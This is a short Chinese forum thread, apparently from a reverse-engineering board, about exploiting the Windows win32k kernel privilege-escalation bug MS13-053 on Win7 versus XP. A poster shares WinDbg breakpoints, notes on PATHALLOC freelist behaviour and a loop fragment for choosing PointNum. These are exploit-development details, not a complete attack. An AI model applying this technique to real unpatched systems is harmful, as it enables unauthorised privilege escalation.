请问版主,win7下利用与winxp下利用有区别吗?我看http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php这个讲的,没有区别啊!但是我在win7下没成功过。
nicaicaiwo 2 2013-9-15 21:25
19
0
谢谢whp和isng的好心回复,我下断点如下,ba w4  win32k!PATHALLOC::cfree ".echo write cfree!!!;.echo  cfree!!!;dd win32k!PATHALLOC::cfree l1;dd win32k!PATHALLOC::freelist;k",同时在win32k!EPATHOBJ::newpathrec 中下断点,可以发现PolyDraw和FlattenPath在申请内存时,先消耗4个freelist然后再另申请。这个你们的报告里讲过,可以发现断点显示4 3 2 1 2 3 4 ....另外ida中发现PolyDraw(Device, Points, PointTypes, PointNum)申请内存如果失败,会把申请到的内存释放掉,所以就会4 3 2 1 2 3 4 ....。所以要找一个合适的PointNum,所以就要循环了for (PointNum = MAX_POLYPOINTS; PointNum>0 && !Finished;PointNum -= 3 )。不知道对不对
岭南散人 1 2014-3-6 11:21
20
0
看你的id,难道是玩书法的么?
游客
登录 | 注册 方可回帖
返回